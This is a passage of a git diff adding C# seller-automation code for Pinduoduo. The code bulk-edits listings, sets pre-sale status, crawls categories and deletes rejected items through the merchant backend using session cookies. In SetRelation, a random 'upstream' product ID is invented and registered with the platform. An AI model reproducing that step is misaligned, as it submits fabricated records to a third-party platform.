r.goods_desc.Replace(noWord, ""); + } + + r.goods_desc = BaseRegex.Clear(r.goods_desc, ""); + string title; + if (!string.IsNullOrEmpty(Title)) + title = Title; + else + title = r.goods_name; + r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id); + var api = new PinduoduoApiGetProduct(Shop); + if (r.tiny_name.Length > 10) + r.tiny_name = r.tiny_name.Substring(0, 10); + api.Data.Add("goods_id", Pid.ToString()); + api.Data.Add("goods_name", title); + api.Data.Add("goods_type", r.goods_type.ToString()); + api.Data.Add("goods_desc", r.goods_desc); + api.Data.Add("cat_id", r.cat_id.ToString()); + api.Data.Add("tiny_name", r.tiny_name); + api.Data.Add("country_id", r.country_id.ToString()); + api.Data.Add("market_price", r.market_price.ToString()); + api.Data.Add("is_pre_sale", "false"); + api.Data.Add("shipment_limit_second", r.shipment_limit_second.ToString()); + api.Data.Add("cost_template_id", Shop.ExpressId.ToString()); + api.Data.Add("customer_num", r.customer_num.ToString());//团购人数 + if (!UploadPinduoduoMain.limitCount) + { + api.Data.Add("buy_limit", r.buy_limit.ToString()); + api.Data.Add("order_limit", r.order_limit.ToString()); + } + api.Data.Add("is_refundable", r.is_refundable==1? "true": "false"); + api.Data.Add("second_hand", r.second_hand == 1 ? "true" : "false"); + api.Data.Add("is_folt", r.is_folt == 1 ? "true" : "false"); + if (BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id")>0) + { + api.Data.Add("fabric", BaseRegex.GetIntJson(ref ge.Html, "fabric_id").ToString()); + api.Data.Add("fabric_content", BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id").ToString()); + } + api.Data.Add("sku_list","[" + skuApiStringNew.Substring(1) + "]"); + api.Data.Add("out_goods_id", r.outer_goods_id); + api.Data.Add("hd_thumb_url", r.hd_thumb_url); + api.Data.Add("thumb_url", r.thumb_url); + api.Data.Add("image_url", r.image_url); + api.Data.Add("carousel_gallery", "[" + imageString.Substring(1) + "]"); + api.Data.Add("detail_gallery", "[" + apiContentString.Substring(1) + "]"); + if(r.shelf_life>0) + { + api.Data.Add("shelf_life", r.shelf_life.ToString()); + api.Data.Add("start_production_date", r.start_production_date.ToString()); + api.Data.Add("end_production_date", r.end_production_date.ToString()); + } + if (BaseRegex.GetIntJson(ref ge.Html, "paper_width") > 0) + { + api.Data.Add("paper_net_weight", BaseRegex.GetIntJson(ref ge.Html, "paper_net_weight").ToString()); + api.Data.Add("paper_length", BaseRegex.GetIntJson(ref ge.Html, "paper_length").ToString()); + api.Data.Add("paper_width", BaseRegex.GetIntJson(ref ge.Html, "paper_width").ToString()); + api.Data.Add("paper_plies_num", BaseRegex.GetIntJson(ref ge.Html, "paper_plies_num").ToString()); + } + if (r.goods_property_list.Count > 0) + { + string code = ""; + for (int i = 0; i < r.goods_property_list.Count; i++) + { + //var p = + // UploadPinduoduoProperties.Properties.Find( + // pp => pp.template_pid == r.goods_property_list[i].template_pid); + //if(p==null) + // continue; + code += + ",{\"template_pid\":" + r.goods_property_list[i].template_pid + ",\"template_module_id\":" + r.goods_property_list[i].vid + + ",\"pid\":" + r.goods_property_list[i].ref_pid + ",\"vid\":" + r.goods_property_list[i].vid + + ",\"value\":\"" + r.goods_property_list[i].vvalue + "\",\"value_unit\":\"" + r.goods_property_list[i].punit + "\"}"; + } + api.Data.Add("goods_properties", "[" + code.Substring(1) + "]"); + } + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return; + string html = api.Updata(); + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁")) + { + Thread.Sleep(6000); + html = api.Updata(); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + } + TaobaoProductBase t = new TaobaoProductBase(); + t.GoodsId = Pid; + t.Titlte = title; + t.Price = price/100m; + if (string.IsNullOrEmpty(error_msg)) + { + t.Message = "修改成功"; + SetRelation(Pid, ref r, ref Shop); + } + else + { + if (KeepAll) + { + html = new PinduoduoApiGetProduct(Shop).SetOnline(r.goods_id, true); + Thread.Sleep(5 * 1000); + } + t.Message = error_msg; + + } + UploadPinduoduoMain.ProductReplaceTemp.Add(t); + } + + + public void SetAdvanceSale() + { + GetProductDetail ge = new GetProductDetail(Shop, Name); + var r = ge.Get(Pid); + if (r == null) + { + LogSave.Add(Name, "获取失败,店铺:" + Shop.ShopName + " ID:" + Pid); + return; + } + long pre_sale_time = BaseRegex.GetLongJson(ref ge.Html, "pre_sale_time"); + //if (pre_sale_time > BaseClass.GetTime(DateTime.Now)) + //{ + // LogSave.Add(Name, "已经设置跳过:" + Shop.ShopName + " ID:" + Pid); + // TaobaoProductBase tt = new TaobaoProductBase(); + // tt.GoodsId = Pid; + // tt.Titlte = Title; + // tt.Message = "已设置跳过"; + // UploadPinduoduoMain.ProductReplaceTemp.Add(tt); + // return; + //} + string imageString = "", apiContentString = ""; + for (int i = 0; i < r.carousel_gallery_list.Count; i++) + { + imageString += ",\"" + r.carousel_gallery_list[i] + "\""; + } + for (int i = 0; i < r.detail_gallery_list.Count; i++) + { + apiContentString += ",\"" + r.detail_gallery_list[i] + "\""; + } + int maxPriceNew = 0, maxPriceOnline = 0; + //生成新的价格 + for (int i = 0; i < r.sku_list.Count; i++) + { + if (maxPriceNew < r.sku_list[i].multi_price) + maxPriceNew = r.sku_list[i].multi_price; + if (maxPriceOnline < r.sku_list[i].price) + maxPriceOnline = r.sku_list[i].price; + } + bool userShield = false; + decimal dd = PinduoduoCatList.GetPriceSpace(r.cat_id) * 10; + for (int i = 0; i < r.sku_list.Count; i++) // 二级护盾 + { + if (r.sku_list[i].multi_price < maxPriceNew / dd * 10) + { + r.sku_list[i].multi_price = (int)(maxPriceNew / dd * 10); + } + if (r.sku_list[i].price < maxPriceOnline / dd * 10) + { + r.sku_list[i].price = (int)(maxPriceOnline / dd * 10 + 100); + } + } + + + string skuApiStringNew = ""; + int price = int.MaxValue; + for (int i = 0; i < r.sku_list.Count; i++) + { + if (price > r.sku_list[i].multi_price) + price = r.sku_list[i].multi_price; + string spec = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + spec += "," + r.sku_list[i].spec[j].spec_id; + if (!string.IsNullOrEmpty(spec)) + spec = spec.Substring(1); + skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price + + "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + + "\",\"quantity\":" + r.sku_list[i].quantity + ",\"spec_id_list\":\"[" + spec + "]\"}"; + } + r.goods_name = BaseClass.SubCharLength(r.goods_name, 60); + foreach (string noWord in NoWords) + { + if (r.goods_name.Contains(noWord)) + r.goods_name = r.goods_name.Replace(noWord, ""); + if (r.goods_desc.Contains(noWord)) + r.goods_desc = r.goods_desc.Replace(noWord, ""); + } + + r.goods_desc = BaseRegex.Clear(r.goods_desc, ""); + string title; + if (!string.IsNullOrEmpty(Title)) + title = Title; + else + title = r.goods_name.Replace("\",\"", ""); + r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id); + var api = new PinduoduoApiGetProduct(Shop); + if (BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id") > 0) + { + api.Data.Add("fabric", BaseRegex.GetIntJson(ref ge.Html, "fabric_id").ToString()); + api.Data.Add("fabric_content", BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id").ToString()); + } + if (r.shelf_life > 0) + { + api.Data.Add("shelf_life", r.shelf_life.ToString()); + api.Data.Add("start_production_date", r.start_production_date.ToString()); + api.Data.Add("end_production_date", r.end_production_date.ToString()); + } + if (BaseRegex.GetIntJson(ref ge.Html, "paper_width") > 0) + { + api.Data.Add("paper_net_weight", BaseRegex.GetIntJson(ref ge.Html, "paper_net_weight").ToString()); + api.Data.Add("paper_length", BaseRegex.GetIntJson(ref ge.Html, "paper_length").ToString()); + api.Data.Add("paper_width", BaseRegex.GetIntJson(ref ge.Html, "paper_width").ToString()); + api.Data.Add("paper_plies_num", BaseRegex.GetIntJson(ref ge.Html, "paper_plies_num").ToString()); + } + if (r.goods_property_list.Count > 0) + { + string code = ""; + for (int i = 0; i < r.goods_property_list.Count; i++) + { + code += + ",{\"template_pid\":" + r.goods_property_list[i].template_pid + ",\"template_module_id\":" + r.goods_property_list[i].vid + + ",\"pid\":" + r.goods_property_list[i].ref_pid + ",\"vid\":" + r.goods_property_list[i].vid + + ",\"value\":\"" + r.goods_property_list[i].vvalue + "\",\"value_unit\":\"" + r.goods_property_list[i].punit + "\"}"; + } + api.Data.Add("goods_properties", "[" + code.Substring(1) + "]"); + } + ProductCollectBase pb = new ProductCollectBase(); + int Cat1 = 0; + if(PinduoduoCatList.CatIds.ContainsKey(r.cat_id)) + Cat1 = PinduoduoCatList.CatIds[r.cat_id].cat1; + string mustCode = ""; + string properties = UploadPinduoduoProperties.GetNew(r.cat_id, Cat1, ref pb, ref Shop, out mustCode); + + if (!string.IsNullOrEmpty(properties) && !api.Data.ContainsKey("goods_properties")) + { + + api.Data.Add("goods_properties", "[" + properties.Substring(1) + "]"); + } + + r.tiny_name = r.tiny_name.Replace("【", "") + .Replace("】", "") + .Replace("!", "") + .Replace(" ", "") + .Replace("!", ""); + if (r.tiny_name.Length > 10) + r.tiny_name = r.tiny_name.Substring(0, 10); + api.Data.Add("goods_id", Pid.ToString()); + api.Data.Add("goods_name", title.Replace("\",\"","")); + api.Data.Add("goods_type", r.goods_type.ToString()); + api.Data.Add("goods_desc", r.goods_desc); + api.Data.Add("cat_id", r.cat_id.ToString()); + api.Data.Add("tiny_name", r.tiny_name); + api.Data.Add("country_id", r.country_id.ToString()); + api.Data.Add("market_price", r.market_price.ToString()); + api.Data.Add("is_pre_sale", SetNewTitle.ToString()); + api.Data.Add("pre_sale_time", endAdvanceTime.ToString()); + api.Data.Add("shipment_limit_second", r.shipment_limit_second.ToString()); + api.Data.Add("cost_template_id", Shop.ExpressId.ToString()); + api.Data.Add("customer_num", r.customer_num.ToString());//团购人数 + if (!UploadPinduoduoMain.limitCount) + { + api.Data.Add("buy_limit", r.buy_limit.ToString()); + api.Data.Add("order_limit", r.order_limit.ToString()); + } + api.Data.Add("is_refundable", r.is_refundable == 1 ? "true" : "false"); + api.Data.Add("second_hand", r.second_hand == 1 ? "true" : "false"); + api.Data.Add("is_folt", r.is_folt == 1 ? "true" : "false"); + api.Data.Add("sku_list", "[" + skuApiStringNew.Substring(1) + "]"); + api.Data.Add("out_goods_id", r.outer_goods_id); + api.Data.Add("hd_thumb_url", r.hd_thumb_url); + api.Data.Add("thumb_url", r.thumb_url); + api.Data.Add("image_url", r.image_url); + api.Data.Add("carousel_gallery", "[" + imageString.Substring(1) + "]"); + api.Data.Add("detail_gallery", "[" + apiContentString.Substring(1) + "]"); + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return; + string html = api.Updata(); + Thread.Sleep(5*1000); + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁")) + { + Thread.Sleep(10000); + html = api.Updata(); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + } + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁")) + { + Thread.Sleep(30000); + html = api.Updata(); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + } + TaobaoProductBase t = new TaobaoProductBase(); + t.GoodsId = Pid; + t.Titlte = title; + t.Price = price / 100m; + if (string.IsNullOrEmpty(error_msg)) + { + t.Message = "设置成功"; + SetRelation(Pid, ref r, ref Shop); + } + else + { + if (UploadPinduoduoMain.SaleSetFalseDown) + { + api = new PinduoduoApiGetProduct(Shop); + api.SetOnline(Pid, false); + error_msg = "设置预售失败自动下架"; + } + if (KeepAll) + { + html = new PinduoduoApiGetProduct(Shop).SetOnline(r.goods_id, true); + Thread.Sleep(5 * 1000); + } + t.Message = error_msg; + + } + LogSave.Add(Name,"ID:"+ Pid+":"+ t.Message); + UploadPinduoduoMain.ProductReplaceTemp.Add(t); + } + + + public bool SetAdvanceSaleNew() + { + GetProductDetail ge = new GetProductDetail(Shop, Name); + var r = ge.Get(Pid); + if (r == null) + { + Thread.Sleep(2000); + r = ge.Get(Pid); + } + if (r == null) + { + LogSave.Add(Name, "获取失败,店铺:" + Shop.ShopName + " ID:" + Pid); + return false; + } + long pre_sale_time = BaseRegex.GetLongJson(ref ge.Html, "pre_sale_time"); + string imageString = "", apiContentString = ""; + for (int i = 0; i < r.carousel_gallery_list.Count; i++) + { + imageString += ",\"" + r.carousel_gallery_list[i] + "\""; + } + for (int i = 0; i < r.detail_gallery_list.Count; i++) + { + apiContentString += ",\"" + r.detail_gallery_list[i] + "\""; + } + int maxPriceNew = 0, maxPriceOnline = 0; + //生成新的价格 + for (int i = 0; i < r.sku_list.Count; i++) + { + if (maxPriceNew < r.sku_list[i].multi_price) + maxPriceNew = r.sku_list[i].multi_price; + if (maxPriceOnline < r.sku_list[i].price) + maxPriceOnline = r.sku_list[i].price; + } + string skuApiStringNew = ""; + int price = int.MaxValue; + for (int i = 0; i < r.sku_list.Count; i++) + { + if (price > r.sku_list[i].multi_price) + price = r.sku_list[i].multi_price; + string spec = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + spec += "," + r.sku_list[i].spec[j].spec_id; + if (!string.IsNullOrEmpty(spec)) + spec = spec.Substring(1); + skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price + + "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + + "\",\"quantity\":" + r.sku_list[i].quantity + ",\"spec_id_list\":\"[" + spec + "]\"}"; + } + r.goods_name = BaseClass.SubCharLength(r.goods_name, 60); + foreach (string noWord in NoWords) + { + if (r.goods_name.Contains(noWord)) + r.goods_name = r.goods_name.Replace(noWord, ""); + if (r.goods_desc.Contains(noWord)) + r.goods_desc = r.goods_desc.Replace(noWord, ""); + } + + r.goods_desc = BaseRegex.Clear(r.goods_desc, ""); + string title; + if (!string.IsNullOrEmpty(Title)) + title = Title; + else + title = r.goods_name.Replace("\",\"", ""); + r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id); + var api = new PinduoduoApiGetProduct(Shop); + if (BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id") > 0) + { + api.Data.Add("fabric", BaseRegex.GetIntJson(ref ge.Html, "fabric_id").ToString()); + api.Data.Add("fabric_content", BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id").ToString()); + } + if (r.shelf_life > 0) + { + api.Data.Add("shelf_life", r.shelf_life.ToString()); + api.Data.Add("start_production_date", r.start_production_date.ToString()); + api.Data.Add("end_production_date", r.end_production_date.ToString()); + } + if (BaseRegex.GetIntJson(ref ge.Html, "paper_width") > 0) + { + api.Data.Add("paper_net_weight", BaseRegex.GetIntJson(ref ge.Html, "paper_net_weight").ToString()); + api.Data.Add("paper_length", BaseRegex.GetIntJson(ref ge.Html, "paper_length").ToString()); + api.Data.Add("paper_width", BaseRegex.GetIntJson(ref ge.Html, "paper_width").ToString()); + api.Data.Add("paper_plies_num", BaseRegex.GetIntJson(ref ge.Html, "paper_plies_num").ToString()); + } + if (r.goods_property_list.Count > 0) + { + string code = ""; + for (int i = 0; i < r.goods_property_list.Count; i++) + { + code += + ",{\"template_pid\":" + r.goods_property_list[i].template_pid + ",\"template_module_id\":" + r.goods_property_list[i].vid + + ",\"pid\":" + r.goods_property_list[i].ref_pid + ",\"vid\":" + r.goods_property_list[i].vid + + ",\"value\":\"" + r.goods_property_list[i].vvalue + "\",\"value_unit\":\"" + r.goods_property_list[i].punit + "\"}"; + } + api.Data.Add("goods_properties", "[" + code.Substring(1) + "]"); + } + ProductCollectBase pb = new ProductCollectBase(); + int Cat1 = 0; + if (PinduoduoCatList.CatIds.ContainsKey(r.cat_id)) + Cat1 = PinduoduoCatList.CatIds[r.cat_id].cat1; + string mustCode = ""; + string properties = UploadPinduoduoProperties.GetNew(r.cat_id, Cat1, ref pb, ref Shop, out mustCode); + + if (!string.IsNullOrEmpty(properties) && !api.Data.ContainsKey("goods_properties")) + { + + api.Data.Add("goods_properties", "[" + properties.Substring(1) + "]"); + } + + r.tiny_name = r.tiny_name.Replace("【", "") + .Replace("】", "") + .Replace("!", "") + .Replace(" ", "") + .Replace("!", ""); + if (r.tiny_name.Length > 10) + r.tiny_name = r.tiny_name.Substring(0, 10); + api.Data.Add("goods_id", Pid.ToString()); + api.Data.Add("goods_name", title.Replace("\",\"", "")); + api.Data.Add("goods_type", r.goods_type.ToString()); + api.Data.Add("goods_desc", r.goods_desc); + api.Data.Add("cat_id", r.cat_id.ToString()); + api.Data.Add("tiny_name", r.tiny_name); + api.Data.Add("country_id", r.country_id.ToString()); + api.Data.Add("market_price", r.market_price.ToString()); + api.Data.Add("is_pre_sale", SetNewTitle.ToString()); + api.Data.Add("pre_sale_time", endAdvanceTime.ToString()); + api.Data.Add("shipment_limit_second", r.shipment_limit_second.ToString()); + api.Data.Add("cost_template_id", Shop.ExpressId.ToString()); + api.Data.Add("customer_num", r.customer_num.ToString());//团购人数 + if (!UploadPinduoduoMain.limitCount) + { + api.Data.Add("buy_limit", r.buy_limit.ToString()); + api.Data.Add("order_limit", r.order_limit.ToString()); + } + api.Data.Add("is_refundable", r.is_refundable == 1 ? "true" : "false"); + api.Data.Add("second_hand", r.second_hand == 1 ? "true" : "false"); + api.Data.Add("is_folt", r.is_folt == 1 ? "true" : "false"); + api.Data.Add("sku_list", "[" + skuApiStringNew.Substring(1) + "]"); + api.Data.Add("out_goods_id", r.outer_goods_id); + api.Data.Add("hd_thumb_url", r.hd_thumb_url); + api.Data.Add("thumb_url", r.thumb_url); + api.Data.Add("image_url", r.image_url); + api.Data.Add("carousel_gallery", "[" + imageString.Substring(1) + "]"); + api.Data.Add("detail_gallery", "[" + apiContentString.Substring(1) + "]"); + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return false; + api.FromWeiDian = true; + string html = api.UpdataNew(); + if (!string.IsNullOrEmpty(html) && (html.Contains("当前运费模板已绑定商品数超过限制,请更换运费模板") || html.Contains("请选择配送地区"))) + { + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetRandx(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + Thread.Sleep(10000); + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetRandx(Shop.Cookies, Shop.MallId, Shop); + } + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "未找到新运费模板"); + Shop.Message = "运费模板超过商品数限制,请设置新的运费模板"; + UploadPinduoduoMain.ShopTemp.Add(Shop); + return false; + } + api.Data.Remove("cost_template_id"); + api.Data["cost_template_id"] = Shop.ExpressId.ToString(); + html = api.AddNew(); + } + Thread.Sleep(5 * 1000); + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁")) + { + Thread.Sleep(10000); + html = api.UpdataNew(); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + } + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁")) + { + Thread.Sleep(30000); + html = api.UpdataNew(); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + } + TaobaoProductBase t = new TaobaoProductBase(); + t.GoodsId = Pid; + t.Titlte = title; + t.Price = price / 100m; + if (string.IsNullOrEmpty(error_msg)) + { + t.Message = "设置成功"; + //SetRelation(Pid, ref r, ref Shop); + + var ad = AdvanceSale.dic[Shop.ShopName]; + ad.SetSuccess = ++ad.SetSuccess; + if (SetNewTitle) + { + ad.PreCount = ++ad.PreCount; + } + else + { + ad.PreCount = --ad.PreCount; + if (ad.PreCount < 0) + { + ad.PreCount = 0; + } + } + AdvanceSale.AdvanceList.Add(ad); + } + else + { + if (AdvanceSale.SaleSetFalseDown && !error_msg.Contains("签名验证失败")) + { + api = new PinduoduoApiGetProduct(Shop); + string htmlx = api.SetOnline(Pid, false); + error_msg = "设置预售失败自动下架:" + error_msg; + if (htmlx.Contains("false")) + htmlx = api.SetOnline(Pid, false); + var ad = AdvanceSale.dic[Shop.ShopName]; + ad.DownSuccess = ++ad.DownSuccess; + ad.DownCount = ++ad.DownCount; + AdvanceSale.AdvanceList.Add(ad); + } + else + { + var ad = AdvanceSale.dic[Shop.ShopName]; + ad.status = error_msg; + AdvanceSale.AdvanceList.Add(ad); + } + if (KeepAll) + { + html = new PinduoduoApiGetProduct(Shop).SetOnline(r.goods_id, true); + Thread.Sleep(5 * 1000); + } + t.Message = error_msg; + } + LogSave.Add(Name, "ID:" + Pid + ":" + t.Message); + if (error_msg.Contains("签名验证失败")) + { + var ad = AdvanceSale.dic[Shop.ShopName]; + ad.status = "签名验证失败,请检查授权"; + AdvanceSale.AdvanceList.Add(ad); + return false; + } + return true; + } + public static void SetRelation(long id,ref ProductDetailBase r,ref ShopChatBase shop) + { + decimal maxPriceNewx = 0, minPriceNewx = Decimal.MaxValue; + //生成新的价格 + for (int i = 0; i < r.sku_list.Count; i++) + { + if (maxPriceNewx < r.sku_list[i].multi_price) + maxPriceNewx = r.sku_list[i].multi_price; + if (minPriceNewx > r.sku_list[i].multi_price) + minPriceNewx = r.sku_list[i].multi_price; + } + var api = new PinduoduoApiGetProduct(shop); + long upid = 0; + string html = api.GetRelation(r.goods_id.ToString()); + // 有获取到对应的上家id + if (html.Contains("out_goods_id") && html.Contains("out_goods_platform")) + { + upid = BaseRegex.GetLongJson(ref html, "out_goods_id"); + html = api.Relation(r.goods_id, upid, (int)(minPriceNewx * 0.94m), (int)(maxPriceNewx * 0.94m), 0, 0); + } + else + { + int fromSite = 0; + if (upid == 0) + upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10, 99999); + html = api.Relation(id, upid, (int)(minPriceNewx * 0.95m), (int)(maxPriceNewx * 0.95m), 0, fromSite); + } + } + } +} diff --git a/Work/Api/CatListPinduoduo.cs b/Work/Api/CatListPinduoduo.cs new file mode 100644 index 0000000..f9b717b --- /dev/null +++ b/Work/Api/CatListPinduoduo.cs @@ -0,0 +1,69 @@ +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Threading; +using AllBase; + +namespace Work.Api +{ + public class CatListPinduoduo + { + public static Dictionary CatIds = new Dictionary(); + public ShopChatBase Shop = null; + public void Get() + { + string cookies = Shop == null ? "" : Shop.Cookies; + string url = "https://mms.pinduoduo.com/earth/api/mallInfo/catList?{}"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", cookies); + if (!Directory.Exists("temp")) + Directory.CreateDirectory("temp"); + string dir = "temp/cat_pinduoduo"; + if (!Directory.Exists(dir)) + Directory.CreateDirectory(dir); + var m = BaseRegex.GetMatchRegex(ref html, @"""id"":([\d]+),""name"":""([^']+?)"""); + for (int i = 0; m != null && i < m.Count; i++) + { + int id = int.Parse(m[i].Groups[1].Value); + string name = m[i].Groups[2].Value; + string file = dir + "/" + id + ".tjm"; + if (FileBase.Exists(file)) + html = FileBase.ReadAllText(file, Encoding.Default); + else + { + url = "https://mms.pinduoduo.com/vodka/v2/mms/categories?parentId=" + id; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", cookies); + if (!string.IsNullOrEmpty(html)) + FileBase.WriteAllText(file, html, Encoding.Default); + } + var mm = BaseRegex.GetMatchRegex(ref html, + @"""cat_id_1"":([\d]+),""cat_id_2"":([\d]+),""cat_id_3"":([\d]+)"); + for (int j = 0; mm != null && j < mm.Count; j++) + { + int id2 = int.Parse(mm[j].Groups[2].Value); + file = dir + "/" + id2 + ".tjm"; + if (FileBase.Exists(file)) + html = FileBase.ReadAllText(file, Encoding.Default); + else + { + url = "https://mms.pinduoduo.com/vodka/v2/mms/categories?parentId=" + id2; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", cookies); + if (!string.IsNullOrEmpty(html)) + FileBase.WriteAllText(file, html, Encoding.Default); + Thread.Sleep(500); + } + var mmm = BaseRegex.GetMatchRegex(ref html, + @"""cat_id_1"":([\d]+),""cat_id_2"":([\d]+),""cat_id_3"":([\d]+)"); + for (int k = 0; mmm != null && k < mmm.Count; k++) + { + int id3 = int.Parse(mmm[k].Groups[3].Value); + if (CatIds.ContainsKey(id3)) + continue; + CatIds.Add(id3, new KeyValuesBase(id.ToString(), id.ToString(), id2.ToString(), id3.ToString())); + } + } + } + + } + } +} diff --git a/Work/Api/CatTemplateBase.cs b/Work/Api/CatTemplateBase.cs new file mode 100644 index 0000000..2679e63 --- /dev/null +++ b/Work/Api/CatTemplateBase.cs @@ -0,0 +1,146 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Api +{ + public class CatTemplateBase + { + public OpenApiResponseBase open_api_response = new OpenApiResponseBase(); + } + + public class OpenApiResponseBase + { + /// + /// 模板允许的最大的自定义规格数量 + /// + public int? input_max_spec_num = 0; + /// + /// 为true时限定规格要么全选要么全不选 + /// + public bool? choose_all_qualify_spec = false; + /// + /// 单个自定义规格值上限 + /// + public int? single_spec_value_num = 0; + /// + /// 最大sku数目上限 + /// + public int? max_sku_num = 0; + public List properties = new List(); + } + + public class PropertiesBase + { + public int? id = 0; + public string name_alias = ""; + public string name = ""; + /// + /// 属性值单位 + /// + public string value_unit = ""; + /// + /// 小数点允许最大精度,为0时代表不允许输入小数 + /// + public int? value_precision = 0; + public string max_value = ""; + public string min_value = ""; + /// + /// 是否必填 + /// + public bool? required = false; + /// + /// 0-可输入、1-可勾选、3-可输入又可勾选 + /// + public int? control_type = 0; + /// + /// 0-文本、1-数值、4-绝对时间、5-相对时间 + /// + public int? value_type = 0; + /// + /// 允许的最大的自定义规格数量 + /// + public int? choose_max_num = 0; + /// + /// 最大可输入数目,为0时代表不可输入 + /// + public int? input_max_num = 0; + /// + /// 父属性id + /// + public int? parent_id = 0; + /// + /// 是否销售属性 + /// + public bool? is_sale = false; + public bool? can_note = false; + /// + /// 销售属性规格id,非销售属性为null + /// + public long? spec_id = 0; + /// + /// 0普通,1颜色,2尺码 + /// + public int? feature = 0; + /// + /// 是否父属性 + /// + public bool? is_parent = false; + /// + /// 引用属性id + /// + public int? ref_pid = 0; + /// + /// 是否按条件展示 + /// + public bool? is_condition_show = false; + /// + /// 只有show_vids中的值被选择时属性才可使用 + /// + public List show_vids = new List(); + /// + /// 属性值列表 + /// + public List values = new List(); + } + + public class PropertiesValuesBase + { + /// + /// 基础属性值id + /// + public int? vid = 0; + /// + /// 属性值 + /// + public string value = ""; + /// + /// 扩展信息,颜色的话色号在这里,ARGB,非销售属性为null + /// + public string extend_info = ""; + /// + /// 规格id,非销售属性为null + /// + public long? spec_id = 0; + /// + /// 是否父属性值 + /// + public bool? is_parent = false; + /// + /// 对应的父属性值id + /// + public List parent_vids = new List(); + /// + /// 分组信息 + /// + public PropertiesGroupBase group = new PropertiesGroupBase(); + } + + public class PropertiesGroupBase + { + public int? id = 0; + public string name = ""; + } +} diff --git a/Work/Api/DeleteRejectProduct.cs b/Work/Api/DeleteRejectProduct.cs new file mode 100644 index 0000000..21bab86 --- /dev/null +++ b/Work/Api/DeleteRejectProduct.cs @@ -0,0 +1,61 @@ +/* + * 删除已驳回 + * + */ + +using System.Threading; +using AllBase; + +namespace Work.Api +{ + public class DeleteRejectProduct + { + public ShopChatBase Shop; + + public DeleteRejectProduct(ShopChatBase shop) + { + Shop = shop; + } + + public void Get() + { + int al = 1,count =1; + while (true) + { + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list"; + string data = "{\"start\":0,\"length\":15,\"check_status\":3}"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, data, Shop.Cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"\{""id"":([\d]+),"); + if (m == null || m.Count == 0) + break; + for (int i = 0; i < m.Count; i++) + { + string id = m[i].Groups[1].Value; + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/" + id + "/delete"; + html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, "{}", Shop.Cookies); + Thread.Sleep(300); + } + } + while (true) + { + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list"; + string data = "{\"start\":0,\"length\":15,\"check_status\":0}"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, data, Shop.Cookies); + var m = BaseRegex.GetMatchRegex(ref html, 